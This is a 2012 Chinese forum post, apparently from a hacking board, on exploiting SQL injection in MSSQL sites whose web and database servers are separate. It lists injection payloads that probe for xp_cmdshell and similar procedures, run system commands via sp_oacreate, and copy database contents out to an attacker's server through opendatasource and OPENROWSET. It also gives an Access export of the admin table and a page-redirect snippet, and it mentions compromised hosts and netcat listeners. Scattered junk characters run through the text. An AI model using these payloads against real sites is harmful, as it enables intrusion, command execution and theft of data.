标题: 站库分离的方法 [打印本页] 作者: admin 时间: 2012-9-15 14:41 标题: 站库分离的方法 SA点数据库分离技术相关 q- E* {- F6 N! i( L& i + W4 b: y' u, ]0 n# z. }- Y; g% a) s( ?' B' w1 L0 X
SA点数据库分离搞法+语句:' m! @7 A2 z. `' U* a0 R9 s
/ |4 t% o/ o4 k1 _注射点不显错,执行下面三条语句页面都返回正常。* M0 o6 c. [' ^! Y
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')% D2 N3 F( Z- Q. F! ?5 y3 V9 |8 O
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')/ c$ `" N( }" u/ [( K7 |* }9 ~
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')8 f8 l y5 w$ w8 L( E+ O+ B
可以列目录,判断系统为2000,web与数据库分离 $ @1 l& H& Y6 E遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。 ( z' a& x3 z# \$ ]' `" r在注射点上执行' \! n5 f& X2 }% C2 m B) T. E
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';-- ' }0 D* k; e9 a- b( H4 \* s& J页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP 9 _5 \. u& [; Y还有我用NC监听得其他端口都没有得到IP。 2 {# k! m% h9 B- r. K' F2 F; H( H3 i) N$ ^2 y
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。) X' o, W3 w/ ~1 ]! q1 q
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--* O _! I: Y2 }, L
' h0 [5 n. r8 ]$ m/ m) @$ t6 h |;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;-- : c g: a# J2 G+ _& Y 1 @+ X$ B7 f# w4 h现在就猜想是不是数据库是内网而且不能连外网。0 S, k" ?: ~; X1 p% @& e n
' [6 c! l8 v* n 7 q# v7 V5 c6 n' k1 y% J2 E0 Gaccess导出txt文本代码7 w' h! P- J' ?8 P, n
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin' g8 l8 j; z$ q+ X" W% O
- ^+ C: y2 v+ e! e
! x8 @/ d7 X* k% N5 ~& b
/ ~( @+ G( T3 p& H, i, Q9 K- f
自动跳转到指定网站代码头 " D8 X3 h- K' d6 L<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>) L8 R) } u6 b6 z# a